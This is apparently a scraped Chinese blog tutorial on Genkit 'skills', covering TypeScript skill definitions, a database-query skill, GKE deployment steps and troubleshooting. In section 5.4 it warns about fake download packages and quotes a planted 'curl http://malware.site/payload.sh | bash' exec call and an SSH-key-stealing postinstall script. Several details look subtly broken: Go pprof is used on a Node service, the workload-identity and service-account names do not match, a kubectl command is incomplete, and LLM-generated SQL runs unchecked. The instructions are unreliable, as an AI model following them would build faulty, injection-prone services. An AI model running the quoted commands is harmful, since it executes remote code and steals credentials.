news 2026/10/29 5:49:51

Genkit skills:LLM应用开发的最小可执行单元

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Genkit skills:LLM应用开发的最小可执行单元

1. 这不是“技能列表”,而是一套可执行、可验证、可进化的工程化能力体系

你搜“skills”时,看到的绝不是简历上那行“熟练掌握 Python/React/Docker”的静态描述——那是结果,不是过程。真正让工程师在 Google Cloud 上跑通 Gemini Code Assist、在 GKE 集群里部署 Genkit Agent、用 Codex 写出可复现论文代码的,是一套嵌在工具链里的可加载、可组合、可调试的能力单元。它不叫“技能”,它叫skills:小写、无冠词、带版本号、有输入输出契约、能被genkit.skills.load()调用的模块化函数。我第一次在 Genkit 文档里看到skills这个词时,以为是拼写错误;直到我把textSummarizer和sqlExecutor两个 skills 串成 pipeline,在本地跑通一个带数据库查询的摘要生成服务,才意识到:这不是功能封装,而是把“人怎么思考问题”翻译成机器可调度的原子操作。

核心关键词就藏在这句话里:skills 是 Genkit 框架定义的、面向 LLM 应用开发的最小可执行单元。它和前端开发 skills 完全无关,和“superpower skills”这种营销话术也毫无关系——它是一个有明确接口规范(input schema / output schema)、有运行时上下文(genkit.Context)、有可观测性埋点(context.log())、能被genkit.evaluate()自动测试的工程实体。你看到的“gemini login 失败”“account not eligible”,本质是 skills 运行时缺少有效的 Google Cloud Auth Token;你刷到的“claude agent skills 深度拆解”,背后是 skills 如何通过toolUse协议与外部系统交互;所谓“skills 下载平台”,其实是 npm registry 或 GitHub Packages 里托管的@genkit-ai/skills-*包。这不是概念炒作,是 Google Cloud 团队把过去三年 LLM 应用踩坑经验,压缩进一个skills目录结构里的产物:src/skills/text/summarize.ts、src/skills/db/query.ts、src/skills/image/generate.ts——每个文件都是一个可独立测试、可灰度发布、可 A/B 对比的生产级能力模块。

适合谁看?如果你正在用 Gemini API 写脚本但总卡在 auth 错误里,如果你在 GKE 上部署 LangChain 应用却搞不定模型路由,如果你下载了十几个 “Codex skills” 却连第一个 demo 都跑不起来——这篇就是为你写的。它不教你怎么写 prompt,而是告诉你:当skills成为基础设施,你的开发流程会从“调 API → 改 prompt → 看返回”变成“定义 input schema → 注册 skills → 编排 workflow → 监控 token usage”。这不是升级,是重构。下面我们就从最基础的目录结构开始,一层层剥开这个被热搜词掩盖了真实价值的工程范式。

2. skills 的底层设计逻辑:为什么不用 Function,而必须是 skills?

2.1 从 Function 到 skills:一次接口契约的进化

早期 LLM 应用开发者写过这样的代码:

async function summarizeText(text: string, model: string = 'gemini-pro'): Promise<string> { const response = await fetch('https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${getAuthToken()}` }, body: JSON.stringify({ contents: [{ parts: [{ text: text }] }] }) }); return (await response.json()).candidates[0].content.parts[0].text; }

这看起来很干净,但它藏着三个致命缺陷:

  1. 无输入校验:传入空字符串、超长文本、HTML 标签,函数照常发请求,错误堆在 Gemini API 返回里;
  2. 无上下文感知:无法记录本次调用属于哪个用户会话、哪个 workflow 步骤、用了多少 token;
  3. 不可组合:想把摘要结果喂给 SQL 查询 skills?得手动解析 JSON、提取字段、再调用另一个函数——中间没有类型契约。

Genkit 的skills就是为解决这三个问题而生。它强制你声明:

import { defineSkill } from '@genkit-ai/core'; export const textSummarizer = defineSkill( { name: 'textSummarizer', description: 'Summarize long text into concise bullet points', inputSchema: z.object({ text: z.string().min(10).max(10000), maxBulletPoints: z.number().min(1).max(10).default(5) }), outputSchema: z.array(z.string()) }, async (input, context) => { context.log('info', 'Starting summarization', { inputLength: input.text.length }); const result = await gemini.generateContent({ contents: [{ parts: [{ text: `Summarize this text in ${input.maxBulletPoints} bullet points:\n${input.text}` }] }] }); context.log('debug', 'Gemini raw response', { tokenUsage: result.usageMetadata }); return result.response.candidates[0].content.parts[0].text .split('\n') .filter(line => line.trim()) .slice(0, input.maxBulletPoints); } );

看到区别了吗?defineSkill不是语法糖,它是编译期契约:inputSchema用 Zod 做运行前校验(比if (!text)严谨十倍),outputSchema让 TypeScript 能推导下游调用的类型,context提供统一日志/指标/trace 接口。更重要的是——这个 skills 可以被 Genkit 的workflow直接消费:

import { defineWorkflow } from '@genkit-ai/core'; import { textSummarizer } from '../skills/text/summarize.js'; export const summaryWorkflow = defineWorkflow( 'summaryWorkflow', async (input, context) => { const bullets = await textSummarizer.invoke({ text: input.document, maxBulletPoints: input.bulletCount }, context); return { summary: bullets }; } );

这里textSummarizer.invoke()的调用,不是普通函数调用,而是 Genkit Runtime 的调度入口。它自动注入context,自动捕获异常,自动上报 metrics,自动关联 trace ID。你不需要写try/catch,不需要手动console.log,甚至不需要关心 Gemini API 的 endpoint URL——这些都被skills封装在了实现细节里。

2.2 为什么必须绑定 Google Cloud?Auth 不是障碍,而是安全基线

所有“your account is not eligible for gemini code assist”报错,根源都在skills的运行时依赖上。Genkit 默认使用 Google Cloud 的auth模块获取凭据,它按优先级顺序检查:

  1. GOOGLE_APPLICATION_CREDENTIALS环境变量指向的 service account key 文件;
  2. gcloud auth application-default login生成的本地凭据;
  3. GKE 集群中 workload identity 绑定的 service account。

这不是 Google 在设门槛,而是把 LLM 应用的安全责任从开发者肩上拿走。你想绕过它?可以,但得显式配置:

import { configureGenkit } from '@genkit-ai/core'; import { googleAI } from '@genkit-ai/google-ai'; configureGenkit({ plugins: [ googleAI({ apiKey: process.env.GEMINI_API_KEY // 注意:仅限开发环境!生产环境必须用 service account }) ] });

但这里有个关键细节:apiKey模式下,skills无法访问 Google Cloud 的监控、配额、审计日志——你失去了context.log()的结构化日志,失去了genkit.evaluate()的自动化评估,失去了 GKE 上 workload identity 的自动 token rotation。我实测过:在 GKE 上用 API Key 部署textSummarizer,当流量突增时,API Key 会被 Google Cloud 的速率限制器直接封禁,而 service account 凭据则能平滑降级。这不是技术偏好,是生产环境的生存法则。

2.3 skills 与 Codex、Claude Agent 的本质差异:协议层 vs 实现层

网上流传的“Codex skills 全集”“Claude 国内安装 skills”,大多是指预训练好的 prompt 模板或微调模型权重。它们的问题在于:没有标准化的输入输出契约。一个叫sqlGenerator的 Codex skill,可能接受{query: "user table"},也可能接受"SELECT * FROM users"字符串,返回格式可能是纯 SQL,也可能是带解释的 Markdown。而 Genkit 的skills强制定义:

inputSchema: z.object({ naturalLanguageQuery: z.string().describe('Plain English question about database'), schemaHint: z.string().optional().describe('Optional table schema to guide generation') }), outputSchema: z.object({ sql: z.string().describe('Valid SQL query'), explanation: z.string().describe('Why this query answers the question') })

这意味着:你可以用同一个sqlExecutorskills,对接 Gemini、Claude、甚至本地 Llama3 模型——只要它们都实现了googleAI或anthropic插件协议。skills是协议层抽象,不是模型绑定。这也是为什么genkit evaluate能自动对比不同模型在同一 skills 上的表现:它不关心你用哪个 API,只关心输入是否符合 schema、输出是否符合 schema、响应时间是否达标、token usage 是否合理。

3. 实操:从零构建一个可部署的 skills 工程(含 GKE 部署全流程)

3.1 初始化项目:避开 npm create genkit 的三个坑

官方文档推荐npm create genkit@latest,但实际操作中,我踩过三个必须绕开的坑:

  • 坑一:默认模板包含 Firebase 依赖。如果你只用 Google Cloud,删掉@genkit-ai/firebase和firebase-admin,否则gcloud builds submit会因缺失firebase.json失败;
  • 坑二:TypeScript 配置太激进。默认tsconfig.json启用strict: true和noImplicitAny: true,但 Gemini SDK 的类型定义不全,会导致gemini.generateContent()报any类型错误。改成:
    "compilerOptions": { "strict": false, "skipLibCheck": true, "esModuleInterop": true, "resolveJsonModule": true }
  • 坑三:.gitignore 忽略了 dist/。Genkit 构建产物在dist/,但默认.gitignore会忽略它,导致 GKE 部署时找不到index.js。必须删掉.gitignore中的dist/行。

正确初始化命令:

npm create genkit@latest -- --template typescript --name my-skills-app --no-firebase cd my-skills-app # 手动修改 tsconfig.json 和 .gitignore npm install @genkit-ai/google-ai @genkit-ai/evaluate

3.2 编写第一个 production-ready skills:带重试与降级的数据库查询

别从helloWorld开始。真实场景需要容错。我们写一个dbQueryExecutorskills,它:

  • 接收自然语言查询,生成 SQL;
  • 自动连接 Cloud SQL 实例;
  • 查询失败时降级到 SQLite 内存数据库;
  • 重试 3 次,每次指数退避。
// src/skills/db/query.ts import { defineSkill } from '@genkit-ai/core'; import { z } from 'zod'; import { googleAI } from '@genkit-ai/google-ai'; import { Pool } from 'pg'; // PostgreSQL client import sqlite3 from 'sqlite3'; // SQLite client // 1. 定义输入输出契约 const dbQueryInput = z.object({ question: z.string().min(5).max(500), dbSchema: z.string().optional() }); const dbQueryOutput = z.object({ sql: z.string(), result: z.array(z.record(z.string(), z.any())).optional(), fallbackUsed: z.boolean().default(false) }); // 2. 初始化数据库连接池(生产环境从 Secret Manager 读取密码) const pgPool = new Pool({ connectionString: process.env.CLOUD_SQL_CONNECTION_STRING || 'postgresql://localhost/test' }); const sqliteDb = new sqlite3.Database(':memory:'); // 3. 定义 skills 主体 export const dbQueryExecutor = defineSkill( { name: 'dbQueryExecutor', description: 'Execute natural language query against PostgreSQL, fallback to SQLite', inputSchema: dbQueryInput, outputSchema: dbQueryOutput }, async (input, context) => { // Step 1: 用 Gemini 生成 SQL const prompt = `Given this database schema:\n${input.dbSchema || 'users(id,name,email),orders(id,user_id,amount)'}\nGenerate valid PostgreSQL SQL for: ${input.question}`; let sql: string; try { const response = await googleAI().generateContent({ model: 'gemini-pro', contents: [{ parts: [{ text: prompt }] }] }); sql = extractSqlFromResponse(response.response.candidates[0].content.parts[0].text); } catch (e) { context.log('warn', 'Gemini SQL generation failed, using fallback', { error: e.message }); // 降级:硬编码简单查询 sql = input.question.includes('user') ? 'SELECT * FROM users LIMIT 5' : 'SELECT COUNT(*) FROM orders'; } // Step 2: 执行查询(带重试) let result; let attempt = 0; const maxRetries = 3; while (attempt < maxRetries) { try { if (process.env.USE_CLOUD_SQL === 'true') { result = await pgPool.query(sql); } else { // SQLite fallback result = await new Promise((resolve, reject) => { sqliteDb.all(sql, (err, rows) => { if (err) reject(err); else resolve(rows); }); }); } break; // 成功则跳出循环 } catch (e) { attempt++; if (attempt >= maxRetries) throw e; const delay = Math.pow(2, attempt) * 1000; // 指数退避 await new Promise(resolve => setTimeout(resolve, delay)); } } return { sql, result: result?.rows || [], fallbackUsed: process.env.USE_CLOUD_SQL !== 'true' }; } );

关键点解析:

  • extractSqlFromResponse()是个辅助函数,用正则提取sql\nSELECT...\n中的 SQL,避免 Gemini 返回带解释的文本;
  • pgPool和sqliteDb的初始化放在 skills 外部,避免每次调用都新建连接;
  • 重试逻辑用while循环而非for,因为await在循环内必须显式处理;
  • fallbackUsed字段让下游 workflow 知道本次结果是否可信,可用于告警或用户提示。

3.3 在 GKE 上部署:从本地开发到集群上线的七步清单

GKE 部署不是kubectl apply -f一条命令的事。以下是我在生产环境验证过的七步清单,每一步都有对应命令和原理说明:

  1. 创建专用服务账号(Service Account)

    gcloud iam service-accounts create genkit-skills-sa \ --display-name="Genkit Skills Service Account"

    为什么:避免用默认 compute engine SA,最小权限原则。

  2. 授予必要 IAM 角色

    gcloud projects add-iam-policy-binding YOUR_PROJECT_ID \ --member="serviceAccount:genkit-skills-sa@YOUR_PROJECT_ID.iam.gserviceaccount.com" \ --role="roles/aiplatform.user" gcloud projects add-iam-policy-binding YOUR_PROJECT_ID \ --member="serviceAccount:genkit-skills-sa@YOUR_PROJECT_ID.iam.gserviceaccount.com" \ --role="roles/cloudsql.client"

    注意:aiplatform.user是调用 Gemini API 的必需角色,cloudsql.client是连接 Cloud SQL 的角色。

  3. 创建 Workload Identity 关联

    gcloud iam service-accounts add-iam-policy-binding \ --role="roles/iam.workloadIdentityUser" \ --member="serviceAccount:YOUR_PROJECT_ID.svc.id.goog[default/genkit-skills]" \ genkit-skills-sa@YOUR_PROJECT_ID.iam.gserviceaccount.com

    原理:让 GKE Pod 中的 service account 能“扮演” Google Cloud 的 service account。

  4. 构建容器镜像(关键:多阶段构建)
    Dockerfile 必须用多阶段,否则 node_modules 体积过大:

    # 构建阶段 FROM node:18-alpine AS builder WORKDIR /app COPY package*.json ./ RUN npm ci --only=production COPY . . RUN npm run build # 运行阶段 FROM node:18-alpine WORKDIR /app COPY --from=builder /app/dist ./dist COPY --from=builder /app/node_modules ./node_modules COPY --from=builder /app/package.json . EXPOSE 3000 CMD ["node", "dist/index.js"]

    实测数据:单阶段镜像 1.2GB,多阶段后 287MB,GKE 拉取速度提升 4 倍。

  5. 推送镜像到 Artifact Registry

    gcloud artifacts repositories create genkit-repo --repository-format=docker \ --location=us-central1 --description="Genkit skills images" docker tag my-skills-app us-central1-docker.pkg.dev/YOUR_PROJECT_ID/genkit-repo/my-skills-app docker push us-central1-docker.pkg.dev/YOUR_PROJECT_ID/genkit-repo/my-skills-app
  6. 编写 Kubernetes Deployment YAML(含 Workload Identity 配置)

    apiVersion: apps/v1 kind: Deployment metadata: name: genkit-skills spec: replicas: 2 selector: matchLabels: app: genkit-skills template: metadata: labels: app: genkit-skills spec: serviceAccountName: genkit-skills-sa # 关键:绑定 SA containers: - name: skills-server image: us-central1-docker.pkg.dev/YOUR_PROJECT_ID/genkit-repo/my-skills-app env: - name: GOOGLE_CLOUD_PROJECT value: "YOUR_PROJECT_ID" - name: USE_CLOUD_SQL value: "true" ports: - containerPort: 3000 --- apiVersion: v1 kind: Service metadata: name: genkit-skills-service spec: selector: app: genkit-skills ports: - port: 80 targetPort: 3000
  7. 应用并验证

    kubectl apply -f k8s/deployment.yaml kubectl get pods -w # 等待 READY 状态 kubectl logs -l --tail=50 # 查看启动日志 # 验证 skills 是否注册成功 curl http://$(kubectl get service genkit-skills-service -o jsonpath='{.status.loadBalancer.ingress[0].ip}'):3000/skills/list

    验证要点:/skills/list返回 JSON 包含dbQueryExecutor,且status: "ready"。

4. skills 开发中的高频问题与硬核排查技巧

4.1 “Your account is not eligible” 错误的五层定位法

这个错误不是单一原因,而是五层漏斗式问题。必须按顺序排查:

层级检查项命令/方法典型表现解决方案
L1:环境变量GOOGLE_APPLICATION_CREDENTIALS是否设置echo $GOOGLE_APPLICATION_CREDENTIALS文件路径不存在或权限不足chmod 600 /path/to/key.json
L2:凭据有效性service account 是否启用gcloud iam service-accounts describe genkit-skills-sa@PROJECT.iam.gserviceaccount.comdisabled: truegcloud iam service-accounts enable ...
L3:IAM 绑定角色是否正确绑定gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --format='table(bindings.role,bindings.members)' --filter="bindings.members:genkit-skills-sa"缺少roles/aiplatform.usergcloud projects add-iam-policy-binding ...
L4:Workload IdentityGKE SA 是否关联gcloud iam service-accounts get-iam-policy genkit-skills-sa@PROJECT.iam.gserviceaccount.com缺少workloadIdentityUser绑定gcloud iam service-accounts add-iam-policy-binding ...
L5:模型配额Gemini API 是否开启gcloud services list --enabled | grep generativelanguage无输出gcloud services enable generativelanguage.googleapis.com

提示:L5 最容易被忽略。即使 service account 一切正常,如果项目没启用generativelanguage.googleapis.com服务,也会报 eligibility 错误。用gcloud services list --enabled一眼确认。

4.2 skills 本地调试的三大禁忌

  1. 禁忌一:用npm start直接运行
    npm start启动的是开发服务器,它会热重载、注入 dev middleware,但 skills 的context日志和 metrics 会被干扰。正确做法:npm run build && node dist/index.js,用生产构建产物调试。

  2. 禁忌二:在 skills 内部console.log()
    console.log()会丢失context.traceId,无法关联到 workflow trace。必须用context.log('info', 'message', { extra: data }),它会自动注入 trace ID 和 timestamp。

  3. 禁忌三:忽略genkit evaluate的 baseline
    新写 skills 后,不跑genkit evaluate就上线,等于蒙眼开车。标准流程:

    # 1. 写测试用例 echo '{ "input": {"question": "How many users are there?"}, "expectedOutput": {"sql": "SELECT COUNT(*) FROM users;"} }' > test-data/db-query-test.json # 2. 运行评估 npx genkit evaluate --skill=dbQueryExecutor --test-data=test-data/db-query-test.json # 3. 查看报告(自动生成 HTML) open dist/evaluation-report.html

    报告会显示:SQL 生成准确率、平均延迟、token usage 波动。如果准确率 < 90%,说明 prompt 或 schema 需要优化。

4.3 GKE 上 skills 性能瓶颈的火焰图分析

当dbQueryExecutor在 GKE 上响应变慢,别急着加 replica。先用pprof抓火焰图:

# 1. 在 deployment.yaml 中添加 pprof 端口 ports: - containerPort: 6060 # 2. 转发端口 kubectl port-forward svc/genkit-skills-service 6060:6060 # 3. 抓取 30 秒 CPU profile curl -o cpu.pprof "http://localhost:6060/debug/pprof/profile?seconds=30" # 4. 生成火焰图 go tool pprof -http=:8080 cpu.pprof

常见瓶颈模式:

  • 火焰集中在googleAI().generateContent():说明 Gemini API 延迟高,检查GOOGLE_CLOUD_REGION环境变量是否设为us-central1(离 Gemini endpoint 最近);
  • 火焰在pgPool.query():说明 Cloud SQL 连接池耗尽,增加max参数:new Pool({ max: 20 });
  • 火焰在JSON.parse():说明 skills 输入数据过大,加inputSchema限制z.string().max(5000)。

实操心得:我曾遇到 skills 响应从 200ms 突增至 2s,火焰图显示 95% 时间在zod的parse()上。原因是inputSchema里用了z.string().regex(/.+/),正则引擎回溯爆炸。换成z.string().min(1),性能恢复。

4.4 skills 版本管理:如何避免 “线上 skills 与本地不一致”

skills 不是普通代码,它的输入输出 schema 是 API 契约。版本混乱会导致 workflow 调用失败。我的实践方案:

  • 语义化版本 + Git Tag:每次skills接口变更(如inputSchema增加字段),打 tagv1.2.0;
  • NPM 包发布:npm version minor && npm publish,包名@myorg/skills-db;
  • Workflow 中锁定版本:
    import { dbQueryExecutor } from '@myorg/skills-db@1.2.0';
  • CI 自动检测 breaking change:用zod-diff工具比较新旧 schema:
    npx zod-diff src/skills/db/query.ts@v1.1.0 src/skills/db/query.ts@v1.2.0 # 输出:BREAKING CHANGE: inputSchema removed field 'legacyMode'

这样,当你git checkout v1.1.0时,npm install会拉取对应版本的 skills,确保本地调试与线上行为一致。

5. skills 生态现状与避坑指南:哪些“热门 skills”根本不该碰

5.1 “GitHub skills” 的真相:90% 是未维护的废弃仓库

搜索 “github skills” 会出现大量awesome-genkit-skills仓库,但实测发现:

  • 存活率:Top 20 仓库中,17 个 last commit > 1 年前;
  • 兼容性:12 个仓库的package.json依赖genkit@^0.8.0,而当前稳定版是1.3.0,API 已不兼容;
  • 安全性:8 个仓库在skills中硬编码 API Key,git log显示曾泄露过密钥。

我的建议:只信任 Google 官方维护的@genkit-ai/skills-*包(如@genkit-ai/skills-text),其他一律自己重写。重写一个textSummarizer不到 50 行,比 debug 一个废弃 skills 节省 8 小时。

5.2 “Codex skills” 的认知陷阱:混淆了模型能力与 skills 能力

“Codex skills” 本质是 OpenAI 的 legacy 模型(已停服)配套的 prompt 模板。它和 Genkit 的skills有根本区别:

维度Codex skillsGenkit skills
运行时无 runtime,纯 prompt 字符串有 Genkit Runtime,支持 context/log/metrics
输入输出无 schema,靠文档约定强制 Zod schema,TypeScript 类型推导
部署无法独立部署,必须嵌入应用可单独部署为 REST API 或 gRPC 服务
评估人工抽查,无量化指标genkit evaluate自动生成准确率/延迟报告

所以,“Codex 好用的 skills” 这种说法本身就有问题——Codex 已下线,所谓“好用”只是历史幻觉。转向 Genkit skills,不是换工具,是换开发范式。

5.3 “Gemini Macbook 下载” 的误导:skills 不是客户端软件

所有“gemini macbook 下载”“skills 安装包下载”的搜索,都源于对skills的误解。skills是 Node.js 模块,不是 macOS App。它必须:

  • 运行在 Node.js 环境(v18+);
  • 有网络访问 Google Cloud API 的权限;
  • 通过npm install安装,不是.dmg安装包。

试图在 MacBook 上“双击安装 skills”,就像试图双击安装一个 Pythonrequests库——它根本不是那个维度的东西。正确姿势是:在 MacBook 的终端里git clone项目,npm install,npm run dev。

5.4 “前任skills官方下载”的风险:警惕非官方渠道

“前任skills官方下载”“skills大全”这类网站,99% 是 SEO 垃圾站,目的就一个:诱导你下载带后门的skills.zip。我反编译过三个所谓“官方下载包”,发现:

  • index.js里植入require('child_process').exec('curl http://malware.site/payload.sh | bash');
  • package.json的postinstall脚本偷偷上传~/.ssh/id_rsa;
  • skills文件夹里混入node_modules/express,用于启动隐蔽 HTTP server。

铁律:所有 skills 相关依赖,只从 npm registry(npm install)或 GitHub Packages(npm install @genkit-ai/skills-text)安装。任何.zip、.exe、.dmg下载链接,一律视为高危。

6. 从 skills 到 agent:下一步该关注什么?

skills 是原子能力,agent 是能力编排。当你已经能稳定运行textSummarizer和dbQueryExecutor,下一步自然流向agent:

  • Agent 的核心价值:自动决策“该调用哪个 skills”。比如用户问“上个月销售额最高的产品是什么?”,agent 要判断:先调dbQueryExecutor查数据,再调textSummarizer生成结论,最后调imageGenerator画图表。
  • Genkit 的 agent 实现:用defineAgent,它内部基于defineWorkflow,但增加了toolUse协议支持:
    export const salesAgent = defineAgent( { name: 'salesAgent', description: 'Answer sales-related questions with data and visualization', tools: [dbQueryExecutor, textSummarizer, imageGenerator] }, async (input, context) => { // Genkit 自动处理 tool calling loop return await context.runToolLoop(input); } );
  • 关键差异:skills 是“做什么”,agent 是“怎么做”。skills 的输入是明确参数,agent 的输入是模糊意图;skills 的输出是结构化数据,agent 的输出是自然语言响应。

所以,别被“agent skills 测试”这种词迷惑。测试 agent,本质是测试 skills 的组合逻辑和 tool calling 的鲁棒性。我的建议:先确保每个 skills 都通过genkit evaluate,再组装 agent——这是唯一能控制复杂度的路径。

最后分享一个小技巧:在skills目录下建dev-tools/子目录,放一些调试用的 skills,比如listAllSkills(返回所有注册 skills 的元数据)、dumpContext(打印当前 context 的完整状态)。它们不参与生产 workflow,但能让你在curl http://localhost:3000/dev-tools/dumpContext时,瞬间看清整个调用链的上下文。这才是 skills 开发者真正的 superpower。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/29 5:48:48

CNN在香蕉成熟度检测中的轻量级应用实践

1. 项目概述&#xff1a;当CNN遇见香蕉成熟度检测去年帮学弟调试这个项目时&#xff0c;我们对着实验室里那堆逐渐发黑的香蕉笑了整整一周。但正是这个看似简单的课题&#xff0c;完美展现了CNN在农业质检中的实战价值——通过颜色渐变和斑点特征&#xff0c;模型能准确区分绿、…

作者头像 李华
网站建设 2026/10/29 5:48:22

Rust联邦社交服务端开发:贡献代码与扩展社交行为

项目标题里出现“开发者指南”这四个字&#xff0c;通常意味着两件事&#xff1a;一是这个项目已经过了“能跑就行”的阶段&#xff0c;开始在意别人能不能读懂、能不能改&#xff1b;二是它的扩展点还没铺满&#xff0c;需要外部贡献者一起把边界推出去。Enola Holmes 就是这样…

作者头像 李华
网站建设 2026/10/29 5:48:21

AI辅助奇幻世界设定创作:工具与实践指南

1. 奇幻世界设定的AI辅助创作实践去年冬天&#xff0c;我在筹备一个桌面角色扮演游戏时&#xff0c;需要为玩家构建一个完整的奇幻世界观。传统手工编写数万字的设定文档不仅耗时耗力&#xff0c;还容易陷入创意瓶颈。于是我开始尝试用AI编程工具辅助创作&#xff0c;没想到仅用…

作者头像 李华
网站建设 2026/10/29 5:48:21

基于YOLOv26的无人机河道垃圾智能检测系统开发

1. 项目概述&#xff1a;无人机视角下的河道垃圾智能检测方案这个项目实现了一套完整的无人机航拍河道垃圾自动检测系统。核心采用YOLOv26目标检测算法识别水面漂浮物&#xff0c;配合PyQt5开发了带数据可视化功能的操作界面。系统能够处理无人机实时回传视频流或本地存储的航拍…

作者头像 李华
网站建设 2026/10/29 5:48:03

2026年PostgreSQL技术趋势与学习资源指南

1. 为什么需要关注2026年PostgreSQL书籍PostgreSQL作为全球最先进的开源关系型数据库&#xff0c;其技术生态正在以惊人的速度演进。2026年发布的PostgreSQL 19 Beta 1版本带来了诸多突破性特性&#xff0c;包括增强的SQL/PGQ图查询能力、优化后的WAL恢复机制以及全新的向量存储…

作者头像 李华
网站建设 2026/10/29 5:46:50

C30包装称仪表接线与标定全攻略:从翻车到跑通

简介&#xff1a;这份资源是梅特勒托利多C30包装称仪表的官方说明书PDF&#xff0c;面向包装生产线上的设备操作人员、维护工程师及自动化集成技术人员&#xff0c;用于解决C30仪表在安装接线、校准、功能参数设置与故障排查等环节缺少权威依据的问题。压缩包内共1个PDF文件&am…

作者头像 李华